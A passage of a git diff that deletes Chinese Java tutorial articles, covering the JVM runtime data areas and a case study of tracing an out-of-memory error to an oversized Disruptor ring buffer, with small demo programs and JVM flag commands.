来替换使用了多年的 CMS,虽然在小的堆方面 G1 还略逊色于 CMS,但这是一个趋势,短时间无法升级到 ZGC,所以未来遇到的 G1 的问题可能会逐渐增多。目前已经收集到 Remember Set 粗化、Humongous 分配、Ergonomics 异常、Mixed GC 中 Evacuation Failure 等问题,除此之外也会给出 CMS 升级到 G1 的一些建议,接下来笔者将继续完成这部分文章整理,敬请期待。 - -“防火”永远要胜于“救火”,**不放过任何一个异常的小指标**(一般来说,任何**不平滑的曲线**都是值得怀疑的) ,就有可能避免一次故障的发生。作为 Java 程序员基本都会遇到一些 GC 的问题,独立解决 GC 问题是我们必须迈过的一道坎。开篇中也提到过 GC 作为经典的技术,非常值得我们学习,一些 GC 的学习材料,如《The Garbage Collection Handbook》、《深入理解Java虚拟机》等也是常读常新,赶紧动起来,苦练 GC 基本功吧。 - -最后的最后,再多啰嗦一句,目前所有 GC 调优相关的文章,第一句讲的就是“不要过早优化”,使得很多同学对 GC 优化望而却步。在这里笔者提出不一样的观点,熵增定律(在一个孤立系统里,如果没有外力做功,其总混乱度(即熵)会不断增大)在计算机系统同样适用,**如果不主动做功使熵减,系统终究会脱离你的掌控**,在我们对业务系统和 GC 原理掌握得足够深的时候,可以放心大胆地做优化,因为我们基本可以预测到每一个操作的结果,放手一搏吧,少年! - -原文链接:[https://mp.weixin.qq.com/s/RFwXYdzeRkTG5uaebVoLQw](https://mp.weixin.qq.com/s/RFwXYdzeRkTG5uaebVoLQw) - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/jvm/neicun-jiegou.md b/docs/src/jvm/neicun-jiegou.md deleted file mode 100644 index f9a9b5f492..0000000000 --- a/docs/src/jvm/neicun-jiegou.md +++ /dev/null @@ -1,347 +0,0 @@ ---- -title: 深入理解JVM的运行时数据区 -shortTitle: 深入理解运行时数据区 -category: - - Java核心 -tag: - - Java虚拟机 -description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,咱们从头到尾说一次Java虚拟机的内存数据区,程序计数器、Java虚拟机栈、本地方法栈、堆、方法区与元空间 -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,内存结构,内存数据区 ---- - - -前面我们就讲过,Java 源代码文件经过编译器编译后会生成字节码文件,经过加载器加载完毕后会交给执行引擎执行。在执行的过程中,JVM 会划出来一块空间来存储程序执行期间需要用到的数据,这块空间一般被称为运行时数据区,见下图。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/neicun-jiegou-dac0f4c1-8a7e-4309-a599-5664cdaf5016.png) - -根据 Java 虚拟机规范的规定,运行时数据区可以分为以下几个部分: - -- 程序计数器(Program Counter Register) -- Java 虚拟机栈(Java Virtual Machine Stacks) -- 本地方法栈(Native Method Stack) -- 堆(Heap) -- 方法区(Method Area) - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20240110194325.png) - ->JDK 8 开始,永久代被彻底移除,取而代之的是元空间。元空间不再是 JVM 内存的一部分,而是通过本地内存(Native Memory)来实现的。也就是说,JDK 8 开始,方法区的实现就是元空间。 - - -## 程序计数器 - -程序计数器(Program Counter Register)所占的内存空间不大,很小很小一块,可以看作是当前线程所执行的[字节码指令](https://javabetter.cn/jvm/zijiema-zhiling.html)的行号指示器。字节码解释器会在工作的时候改变这个计数器的值来选取下一条需要执行的字节码指令,像分支、循环、跳转、异常处理、线程恢复等功能都需要依赖这个计数器来完成。 - -在 JVM 中,多线程是通过线程轮流切换来获得 CPU 执行时间的,因此,在任一具体时刻,一个 CPU 的内核只会执行一条线程中的指令,因此,为了线程切换后能恢复到正确的执行位置,每个线程都需要有一个独立的程序计数器,并且不能互相干扰,否则就会影响到程序的正常执行次序。 - -也就是说,我们要求**程序计数器是线程私有的**。 - -《Java 虚拟机规范》中规定,如果线程执行的是非本地方法,则程序计数器中保存的是当前需要执行的指令地址;如果线程执行的是本地方法,则程序计数器中的值是 undefined。 - -为什么本地方法在程序计数器中的值是 undefined 的?因为[本地方法](https://javabetter.cn/oo/native-method.html)大多是通过 C/C++ 实现的,并未编译成需要执行的字节码指令。 - -我们来通过代码以及字节码指令来看看程序计数器的作用。 - -```java -public static int add(int a, int b) { - return a + b; -} -``` - -字节码指令大致如下: - -```java -0: iload_0 // 从局部变量表中加载变量 a 到操作数栈 -1: iload_1 // 从局部变量表中加载变量 b 到操作数栈 -2: iadd // 两数相加 -3: ireturn // 返回 -``` - -现在,让我们逐步分析程序计数器是如何在执行这些指令时更新的: - -1. **初始状态**:当方法开始执行时,PC 计数器设置为 0,指向第一条指令 `0: iload_0`。 - -2. **执行第一条指令**: - - 执行 `iload_0` 指令,将局部变量表中索引为 0 的整数(即方法的第一个参数 `a`)加载到操作数栈顶。 - - 执行完成后,PC 计数器更新为 1,指向下一条指令 `1: iload_1`。 - -3. **执行第二条指令**: - - 执行 `iload_1` 指令,将局部变量表中索引为 1 的整数(即方法的第二个参数 `b`)加载到操作数栈顶。 - - 执行完成后,PC 计数器更新为 2,指向下一条指令 `2: iadd`。 - -4. **执行第三条指令**: - - 执行 `iadd` 指令,弹出操作数栈顶的两个整数(即 `a` 和 `b`),将它们相加,然后将结果压入操作数栈顶。 - - 执行完成后,PC 计数器更新为 3,指向下一条指令 `3: ireturn`。 - -5. **执行最后一条指令:** - - 执行 `ireturn` 指令,弹出操作数栈顶的整数(即 `a + b` 的结果),并将这个值作为方法的返回值。 - - 方法执行完成,控制权返回到方法调用者。 - - -## Java 虚拟机栈 - -Java 虚拟机栈(JVM 栈)中是一个个[栈帧](https://javabetter.cn/jvm/stack-frame.html),每个栈帧对应一个被调用的方法。当线程执行一个方法时,会创建一个对应的栈帧,并将栈帧压入栈中。当方法执行完毕后,将栈帧从栈中移除。 - -栈帧包含以下 5 个部分,见下图。我们前面已经详细地讲过[栈帧](https://javabetter.cn/jvm/stack-frame.html)了,忘记的球友可以回头去看一下。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/neicun-jiegou-4ea2a60a-05df-4ed1-8109-99ae23acefd1.png) - - -假设我们有一个简单的 add 方法,如下所示: - -```java -public int add(int a, int b) { - int result = a + b; - return result; -} -``` - -当 `add` 方法被调用时,JVM 为这次方法调用创建一个新的栈帧。然后执行方法内的字节码指令,这部分我们前面已经讲过了,大家可以自己通过 [javap](https://javabetter.cn/jvm/bytecode.html) 查看字节码并模拟一下[字节码指令](https://javabetter.cn/jvm/zijiema-zhiling.html)执行的过程。 - -当 `add` 方法执行完毕后,对应的栈帧会从 JVM 栈中弹出。 - -Java 虚拟机栈的特点如下: - -- **线程私有:** 每个线程都有自己的 JVM 栈,线程之间的栈是不共享的。 -- **栈溢出:** 如果栈的深度超过了 JVM 栈所允许的深度,将会抛出 `StackOverflowError`,这个我们讲[栈帧](https://javabetter.cn/jvm/stack-frame.html)的时候讲过了。 - -大家可以猜一下 JVM 栈的默认大小是多少? - -还用我们之前的讲栈帧时候的例子: - -```java -public class StackOverflowErrorTest1 { - private static AtomicInteger count = new AtomicInteger(0); - public static void main(String[] args) { - while (true) { - testStackOverflowError(); - } - } - - public static void testStackOverflowError() { - System.out.println(count.incrementAndGet()); - testStackOverflowError(); - } -} -``` - -默认配置下,堆栈异常出现在 10886 次: - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20231225143408.png) - -增加 `-Xss256k` 后,来试试。 - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20231225143746.png) - -1991 次出现了堆栈异常。 - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20231225143841.png) - -这之间存在什么关系呢? - -通过 `java -XX:+PrintFlagsFinal -version | grep ThreadStackSize` 这个命令可以查看 JVM 栈的默认大小。 - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20231225145929.png) - -其中 `ThreadStackSize` 的单位是字节,也就是说默认的 JVM 栈大小是 1024 KB,也就是 1M。 - -也就是说,默认 1024 KB 的 JVM 栈可以执行 10885 次 `testStackOverflowError` 方法,而 256 KB 的 JVM 栈只能执行 1990 次 `testStackOverflowError` 方法,四五倍的样子。 - -## 本地方法栈 - -本地方法栈(Native Method Stack)与 Java 虚拟机栈类似,只不过 Java 虚拟机栈为虚拟机执行 Java 方法服务,而本地方法栈则为虚拟机使用到的 [Native 方法](https://javabetter.cn/oo/native-method.html)服务。 - -## 堆 - -堆是所有线程共享的一块内存区域,在 JVM 启动的时候创建,用来存储对象(数组也是一种对象)。 - -以前,Java 中“几乎”所有的对象都会在堆中分配,但随着 [JIT](https://javabetter.cn/jvm/jit.html) 编译器的发展和逃逸技术的逐渐成熟,所有的对象都分配到堆上渐渐变得不那么“绝对”了。从 JDK 7 开始,Java 虚拟机已经默认开启逃逸分析了,意味着如果某些方法中的对象引用没有被返回或者未被外面使用(也就是未逃逸出去),那么对象可以直接在栈上分配内存。 - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20231225154450.png) - -栈就是前面提到的 JVM 栈(主要存储局部变量、方法参数、对象引用等),属于线程私有,通常随着方法调用的结束而消失,也就无需进行垃圾收集;堆前面也讲了,属于线程共享的内存区域,几乎所有的对象都在对上分配,生命周期不由单个方法调用所决定,可以在方法调用结束后继续存在,直到不在被任何变量引用,然后被垃圾收集器回收。 - -简单解释一下 JIT 和逃逸分析(后面讲 [JIT](https://javabetter.cn/jvm/jit.html) 会细讲)。 - -常见的编译型语言如 C++,通常会把代码直接编译成 CPU 所能理解的机器码来运行。而 Java 为了实现“一次编译,处处运行”的特性,把编译的过程分成两部分,首先它会先由 javac 编译成通用的中间形式——字节码,然后再由解释器逐条将字节码解释为机器码来执行。所以在性能上,Java 可能会干不过 C++ 这类编译型语言。 - -![](https://cdn.paicoding.com/stutymore/what-is-jvm-20231223155202.png) - -为了优化 Java 的性能 ,JVM 在解释器之外引入了 JIT 编译器:当程序运行时,解释器首先发挥作用,代码可以直接执行。随着时间推移,即时编译器逐渐发挥作用,把越来越多的代码编译优化成本地代码,来获取更高的执行效率。解释器这时可以作为编译运行的降级手段,在一些不可靠的编译优化出现问题时,再切换回解释执行,保证程序可以正常运行。 - -逃逸分析(Escape Analysis)是一种编译器优化技术,用于判断对象的作用域和生命周期。如果编译器确定一个对象不会逃逸出方法或线程的范围,它可以选择在栈上分配这个对象,而不是在堆上。这样做可以减少垃圾回收的压力,并提高性能。 - -我们来写一段可能触发栈分配的代码。 - -```java -public class EscapeAnalysisExample { - - private static class Point { - private int x; - private int y; - - Point(int x, int y) { - this.x = x; - this.y = y; - } - - int calculate() { - return x + y; - } - } - - public static void main(String[] args) { - int total = 0; - for (int i = 0; i < 1000000; i++) { - total += createAndCalculate(); - } - System.out.println(total); - } - - private static int createAndCalculate() { - Point p = new Point(1, 2); - return p.calculate(); - } -} -``` - -- createAndCalculate 方法创建了一个 Point 对象,并调用它的 calculate 方法。 -- Point 对象在 createAndCalculate 方法中创建,并且不会逃逸到该方法之外。 -- 如果 JVM 的逃逸分析确定 Point 对象不会逃逸出 createAndCalculate 方法,它可能会在栈上分配 Point 对象,而不是在堆上。 - -堆我们前面已经讲过了,它除了是对象的聚集地,也是 [Java 垃圾收集器](https://javabetter.cn/jvm/gc.html)管理的主要区域,因此也被称作 GC 堆(Garbage Collected Heap)。从垃圾回收的角度来看,由于垃圾收集器基本都采用了分代垃圾收集的算法,所以堆还可以细分为:新生代和老年代。新生代还可以细分为:Eden 空间、From Survivor、To Survivor 空间等。进一步划分的目的是更好地回收内存,或者更快地分配内存。 - ->不要担心,这些我们会放到后面[垃圾回收](https://javabetter.cn/jvm/gc.html)的章节来细讲。 - -堆这最容易出现的就是 [OutOfMemoryError 错误](https://javabetter.cn/jvm/oom.html),分为以下几种表现形式: - -- `OutOfMemoryError: GC Overhead Limit Exceeded`:当 JVM 花太多时间执行垃圾回收并且只能回收很少的堆空间时,就会发生该错误。 -- `java.lang.OutOfMemoryError: Java heap space`:假如在创建新的对象时, 堆内存中的空间不足以存放新创建的对象, 就会引发该错误。和本机的物理内存无关,和我们配置的虚拟机内存大小有关! - -我们先来通过代码模拟一下堆内存溢出的情况。 - -```java -public class HeapSpaceErrorGenerator { - public static void main(String[] args) { - List bigObjects = new ArrayList<>(); - try { - while (true) { - // 创建一个大约 10MB 的数组 - byte[] bigObject = new byte[10 * 1024 * 1024]; - bigObjects.add(bigObject); - } - } catch (OutOfMemoryError e) { - System.out.println("OutOfMemoryError 发生在 " + bigObjects.size() + " 对象后"); - throw e; - } - } -} -``` - -通过 VM 参数设置堆内存大小为 `-Xmx128M`,然后运行程序。 - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20231225160028.png) - -可以看到,堆内存溢出发生在 11 个对象后。 - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20231225160115.png) - -默认的堆内存大小是多少呢? - -通过 `java -XX:+PrintFlagsFinal -version | grep HeapSize` 这个命令可以查看 JVM 堆的默认大小。 - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20231225160212.png) - -也可以通过下面这行代码获取: - -```java -System.out.println(Runtime.getRuntime().maxMemory() / 1024.0 / 1024 + "MB"); -``` - -大家可以通过上面的方法查看一下自己本机电脑的堆内存大小。 - -## 元空间和方法区 - -方法区是 Java 虚拟机规范上的一个逻辑区域,在不同的 JDK 版本上有着不同的实现。在 JDK 7 的时候,方法区被称为永久代(PermGen),而在 JDK 8 的时候,永久代被彻底移除,取而代之的是元空间。 - -如果你在有些资料上依然看到了永久代,要么就是二哥这样在给你解释,要么就是内容过时了。 - ->《Java 虚拟机规范》中只规定了有方法区这么一个概念和它的作用,并没有规定如何去实现它。不同的 Java 虚拟机可能就会有不同的实现。永久代是 HotSpot 对方法区的一种实现形式。也就是说,永久代是 HotSpot 旧版本中的一个实现,而方法区则是 Java 虚拟机规范中的一个定义,一种规范。 - -换句话说,方法区和永久代的关系就像是 Java 中接口和类的关系,类实现了接口,接口还是那个接口,但实现已经完全升级了。 - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20240110195211.png) - -JDK 7 之前,只有常量池的概念,都在方法区中。 - -JDK 7 的时候,字符串常量池从方法区中拿出来放到了堆中,运行时常量池还在方法区中(也就是永久代中)。 - -JDK 8 的时候,HotSpot 移除了永久代,取而代之的是元空间。[字符串常量池](https://javabetter.cn/string/constant-pool.html)还在堆中,而运行时常量池跑到了元空间。 - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20231227111238.png) - -**为什么要废弃永久代,而使用元空间来进行替换呢?** - -旧版的 Hotspot 虚拟机是没有 JIT 的,而 Oracle 旗下的另外一款虚拟机 JRocket 是有的,那为了将 Java 帝国更好的传下去,Oracle 就想把庶长子 JRocket 的 JIT 技术融合到嫡长子 Hotspot 中。 - -但 JRockit 虚拟机中并没有永久代的概念,因此新的 HotSpot 索性就不要永久代了,直接占用操作系统的一部分内存好了,并且把这块内存取名叫做元空间。 - -元空间的大小不再受限于 JVM 启动时设置的最大堆大小,而是直接利用本地内存,也就是操作系统的内存。有效地解决了 OutOfMemoryError 错误。 - ->可以通过 `java -XX:+PrintFlagsFinal -version | grep HeapSize` 查看 JVM 默认的堆内存大小。 - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20231225192753.png) - -当元空间的数据增长时,JVM 会请求操作系统分配更多的内存。如果内存空间足够,操作系统就会满足 JVM 的请求。那会不会出现元空间溢出的情况呢? - -答案是肯定的,这个我们留到[内存溢出](https://javabetter.cn/jvm/oom.html)的章节里来细讲。 - -### 运行时常量池 - -在讲字节码的时候,我们详细的讲过[常量池](https://javabetter.cn/jvm/bytecode.html),它是字节码文件的资源仓库,先是一个常量池大小,从 1 到 n-1,0 为保留索引,然后是常量池项的集合,包括类信息、字段信息、方法信息、接口信息、字符串常量等。 - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20231225183354.png) - -运行时常量池,顾名思义,就是在运行时期间,JVM 会将字节码文件中的常量池加载到内存中,存放在运行时常量池中。 - -也就是说,常量池是在字节码文件中,而运行时常量池在元空间当中(JDK 8 及以后),讲的是一个东西,但形态不一样,就好像一个是固态,一个是液态;或者一个是模子,一个是模子里的锅碗瓢盆。 - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20231225184358.png) - -### 字符串常量池 - -字符串常量池我们在讲[字符串](https://javabetter.cn/string/constant-pool.html)的时候已经详细讲过了,它的作用是存放字符串常量,也就是我们在代码中写的字符串。依然在堆中。 - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20231225184843.png) - -OK,方法区(不管是永久代还是元空间的实现)和堆一样,**是线程共享的区域**。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/neicun-jiegou-e33179f3-275b-44c9-87f6-802198f8f360.png) - -## 小结 - -来总结一下运行时数据区的主要组成: - -- PC 寄存器(PC Register),也叫程序计数器(Program Counter Register),是一块较小的内存空间,它的作用可以看做是当前线程所执行的字节码的信号指示器。 -- JVM 栈(Java Virtual Machine Stack),与 PC 寄存器一样,JVM 栈也是线程私有的。每一个 JVM 线程都有自己的 JVM 栈(也叫方法栈),这个栈与线程同时创建,它的生命周期与线程相同。 -- 本地方法栈(Native Method Stack),JVM 可能会使用到传统的栈来支持 [Native 方法](https://javabetter.cn/oo/native-method.html)的执行,这个栈就是本地方法栈。 -- 堆(Heap),在 JVM 中,堆是可供各条线程共享的运行时内存区域,也是供所有类实例和数据对象分配内存的区域。 -- 方法区(Method area),JDK 8 开始,使用元空间取代了永久代。**方法区是 JVM 中的一个逻辑区域**,用于存储类的结构信息,包括类的定义、方法的定义、字段的定义以及字节码指令。不同的是,元空间不再是 JVM 内存的一部分,而是通过本地内存(Native Memory)来实现的。 -- [运行时常量池](https://javabetter.cn/jvm/neicun-jiegou.html),运行时常量池是每一个类或接口的常量在运行时的表现形式,它包括了编译器可知的数值字面量,以及运行期解析后才能获得的方法或字段的引用。简而言之,当一个方法或者变量被引用时,JVM 通过运行时常量区来查找方法或者变量在内存里的实际地址。 - -在 JVM 启动时,元空间的大小由 MaxMetaspaceSize 参数指定,JVM 在运行时会自动调整元空间的大小,以适应不同的程序需求。 - -![](https://cdn.paicoding.com/stutymore/what-is-jvm-20231030191213.png) - - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/jvm/oom.md b/docs/src/jvm/oom.md deleted file mode 100644 index 2fbb90c875..0000000000 --- a/docs/src/jvm/oom.md +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: 一次内存溢出的排查优化实战,彻底干掉臭名昭著的 OOM -shortTitle: 内存泄露排查优化实战 -category: - - Java核心 -tag: - - Java虚拟机 -description: 本文介绍了一次内存溢出的排查优化实战,彻底干掉臭名昭著的 OOM。 -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,内存溢出 ---- - - -`OutOfMemoryError`,也就是臭名昭著的 OOM(内存溢出),相信很多球友都遇到过,相对于常见的业务异常,如[数组越界](https://javabetter.cn/array/array.html)、[空指针](https://javabetter.cn/exception/npe.html)等,OOM 问题更难难定位和解决。 - -这篇内容就以之前碰到的一次线上内存溢出的定位、解决问题的方式展开;希望能对碰到类似问题的[球友](https://javabetter.cn/zhishixingqiu/)带来思路和帮助。 - -主要从`表现-->排查-->定位-->解决` 四个步骤来分析和解决问题。 - -## 内存溢出和内存泄露 - -在 Java 中,和内存相关的问题主要有两种,内存溢出和内存泄漏。 - -- **内存溢出**(Out Of Memory):就是申请内存时,JVM 没有足够的内存空间。通俗说法就是去蹲坑发现坑位满了。 -- **内存泄露**(Memory Leak):就是申请了内存,但是没有释放,导致内存空间浪费。通俗说法就是有人占着茅坑不拉屎。 - -### 内存溢出 - -在 JVM 的[内存区域](https://javabetter.cn/jvm/neicun-jiegou.html)中,除了程序计数器,其他的内存区域都有可能发生内存溢出。 - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20231227111238.png) - -大家都知道,Java 堆中存储的都是对象,或者叫对象实例,那只要我们不断地创建对象,并且保证 GC Roots 到对象之间有可达路径来避免垃圾回收机制清除这些对象,那么就一定会产生内存溢出。 - -比如说运行下面这段代码: - -```java -public class OOM { - public static void main(String[] args) { - List list = new ArrayList<>(); - while (true) { - list.add(new Object()); - } - } -} -``` - -运行程序的时候记得设置一下 VM 参数:`-Xms20m -Xmx20m -XX:+HeapDumpOnOutOfMemoryError`,限制堆内存大小为 20M,并且不允许扩展,并且当发生 OOM 时 [dump 出当前内存的快照](https://javabetter.cn/jvm/console-tools.html)。 - -运行结果如下: - -![](https://cdn.paicoding.com/stutymore/oom-20240109190409.png) - -我们在讲[运行时数据区](https://javabetter.cn/jvm/neicun-jiegou.html)的时候也曾讲过。 - -### 内存泄露 - -内存泄露是指程序中己动态分配的堆内存由于某种原因程序未释放或无法释放,造成系统内存的浪费,导致程序运行速度减慢甚至系统崩溃等严重后果。 - -简单来说,就是应该被[垃圾回收](https://javabetter.cn/jvm/gc.html)的对象没有回收掉,导致占用的内存越来越多,最终导致内存溢出。 - -![](https://cdn.paicoding.com/stutymore/oom-20240109190934.png) - -在上图中:对象 X 引用对象 Y,X 的生命周期比 Y 的生命周期长,Y 生命周期结束的时候,垃圾回收器不会回收对象 Y。 - -来看下面的例子: - -```java -public class MemoryLeak { - public static void main(String[] args) { - try{ - Connection conn =null; - Class.forName("com.mysql.jdbc.Driver"); - conn =DriverManager.getConnection("url","",""); - Statement stmt =conn.createStatement(); - ResultSet rs =stmt.executeQuery("...."); - } catch(Exception e){//异常日志 - } finally { - // 1.关闭结果集 Statement - // 2.关闭声明的对象 ResultSet - // 3.关闭连接 Connection - } - } -} -``` - -创建的连接不再使用时,需要调用 close 方法关闭连接,只有连接被关闭后,GC 才会回收对应的对象(Connection,Statement,ResultSet,Session)。忘记关闭这些资源会导致持续占有内存,无法被 GC 回收。 - -这样就会导致内存泄露,最终导致内存溢出。 - -换句话说,内存泄露不是内存溢出,但会加快内存溢出的发生。 - -## 内存溢出后的表象 - -之前生产环境爆出的内存溢出问题会随着业务量的增长,出现的频次也越来越高。 - -应用程序的业务逻辑非常简单,就是从 [Kafka](https://javabetter.cn/mq/kafka.html) 中将数据消费下来,然后批量的做持久化操作。 - -OOM 现象则是随着 Kafka 的消息越多,出现异常的频次就越快。由于当时还有其他工作所以只能让运维做重启,并且监控好堆内存以及 [GC 情况](https://javabetter.cn/jvm/gc.html)。 - -> 不得不说,重启大法真的好,能解决大量的问题,但不是长久之计。 - -## 内存泄露的排查 - -于是我们想根据运维之前收集到的内存数据、GC 日志尝试判断哪里出现了问题。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/oom-81051388-0c35-4de6-a3d9-4f546ef4bfec.jpg) - -结果发现[老年代](https://javabetter.cn/jvm/compile-jdk.html)的内存使用就算是发生 GC 也一直居高不下,而且随着时间推移也越来越高。 - -结合 [jstat](https://javabetter.cn/jvm/console-tools.html) 的日志发现就算是发生了 FGC,老年代也回收不了,内存已经到顶。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/oom-e79d4da0-fbb1-4918-a8d8-e29d2d64323b.jpg) - -甚至有几台应用 FGC 达到了上百次,时间也高的可怕。 - -这说明应用的内存使用肯定是有问题的,有许多赖皮对象始终回收不掉。 - -## 内存泄露的定位 - -由于生产上的内存 dump 文件非常大,达到了几十 G。也和我们生产环境配置的内存太大有关。 - -所以导致想使用 [MAT](https://eclipse.dev/mat/) 分析需要花费大量时间。 - -> MAT 是 Eclipse 的一个插件,也可以单独使用,可以用来分析 Java 的堆内存,找出内存泄露的原因。 - -因此我们就想是否可以在本地复现,这样就好定位的多。 - -为了尽快的复现问题,我将本地应用最大堆内存设置为 150M。然后在消费 Kafka 那里 Mock 了一个 while 循环一直不断的生成数据。 - -同时当应用启动之后利用 [VisualVM](https://javabetter.cn/jvm/view-tools.html) 连上应用实时监控内存、GC 的使用情况。 - -结果跑了 10 几分钟内存使用并没有什么问题。根据图中可以看出,每一次 GC 内存都能有效的回收,所以并没有复现问题。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/oom-4cf05af0-924f-406b-a8a4-5aa885e38cea.jpg) - -没法复现问题就很难定位。于是我们就采用了一种古老的方法——review 代码,发现生产的逻辑和我们用 while 循环 Mock 的数据还不太一样。 - ->果然 review 代码是保障程序性能的第一道防线,诚不欺我。大家在写完代码的时候,尽量也要团队 review 一次。 - -后来查看生产日志发现每次从 Kafka 中取出的都是几百条数据,而我们 Mock 时每次只能产生**一条**。 - -为了尽可能的模拟生产情况便在服务器上跑了一个生产者程序,一直源源不断的向 Kafka 中发送数据。 - -果然不出意外只跑了一分多钟内存就顶不住了,观察下图发现 GC 的频次非常高,但是内存的回收却是相形见拙。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/oom-a6d6c9cd-e79c-4a76-ba97-032cfefefd5f.jpg) - -同时后台也开始打印内存溢出了,这样便复现出了问题。 - -## 内存泄露的解决 - -从目前的表现来看,就是内存中有许多对象一直存在强引用关系导致得不到回收。 - -于是便想看看到底是什么对象占用了这么多的内存,利用 VisualVM 的 HeapDump 功能,就可以立即 dump 出当前应用的内存情况。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/oom-49b47ca3-b3e2-49f7-85c9-23f7a3ef6f93.jpg) - -结果发现 `com.lmax.disruptor.RingBuffer` 类型的对象占用了将近 50% 的内存。 - -看到这个包自然就想到了 `Disruptor` 环形队列了。 - -> [Disruptor](https://tech.meituan.com/2016/11/18/disruptor.html) 是一个高性能的异步处理框架,它的核心思想是:通过[无锁](https://javabetter.cn/thread/lock.html)的方式来实现高性能的并发处理,其性能是高于 JDK 的 [BlockingQueue](https://javabetter.cn/thread/BlockingQueue.html) 的。 - -再次 review 代码发现:从 Kafka 里取出的 700 条数据是直接往 Disruptor 里丢的。 - -这里也就能说明为什么第一次模拟数据没复现问题了。 - -模拟的时候是一个对象放进队列里,而生产的情况是 700 条数据放进队列里。这个数据量就是 700 倍的差距啊。 - -而 Disruptor 作为一个环形队列,在对象没有被覆盖之前是一直存在的。 - -我也做了一个实验,证明确实如此。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/oom-dee49da6-905a-4085-b82e-41e136d422e8.jpg) - -我设置队列大小为 8 ,从 0~9 往里面写 10 条数据,当写到 8 的时候就会把之前 0 的位置覆盖掉,后面的以此类推(类似于 [HashMap](https://javabetter.cn/collection/hashmap.html) 的取模定位)。 - -所以在生产环境上,假设我们的队列大小是 1024,那么随着系统的运行最终会导致 1024 个位置上装满了对象,而且每个位置都是 700 个! - -于是查看了生产环境上 Disruptor 的 RingBuffer 配置,结果是:`1024*1024`。 - -这个数量级就非常吓人了。 - -为了验证是否是这个问题,我在本地将该值设为 2 ,一个最小值试试。 - -同样的 128M 内存,也是通过 Kafka 一直源源不断的取出数据。通过监控如下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/oom-5529781f-1f68-47a7-a3d2-04eba9e9d52e.jpg) - -跑了 20 几分钟系统一切正常,每当一次 GC 都能回收大部分内存,最终呈现锯齿状。 - -这样问题就找到了,不过生产上这个值具体设置多少还得根据业务情况测试才能知道,但原有的 1024\*1024 是绝对不能再使用了。 - -## 小结 - -虽然到了最后也就改了一行代码(还没改,直接修改配置),但这个排查过程我觉得是很有意义的。 - -也会让大部分觉得 JVM 这样的黑盒难以下手的球友有一个直观感受。 - -`同时也得感叹 Disruptor 东西虽好,也不能乱用哦!` - -相关演示代码查看: - ->[https://github.com/crossoverJie/JCSprout/tree/master/src/main/java/com/crossoverjie/disruptor](https://github.com/crossoverJie/JCSprout/tree/master/src/main/java/com/crossoverjie/disruptor) - - -- 参考链接 1:[内存泄露的排查](https://crossoverjie.top/2018/08/29/java-senior/OOM-Disruptor/) -- 参考链接 2:[内存溢出和内存泄露](https://www.zhihu.com/question/40560123) - ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括 Java 基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM 等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/jvm/problem-tools.md b/docs/src/jvm/problem-tools.md deleted file mode 100644 index 54fcaf4566..0000000000 --- a/docs/src/jvm/problem-tools.md 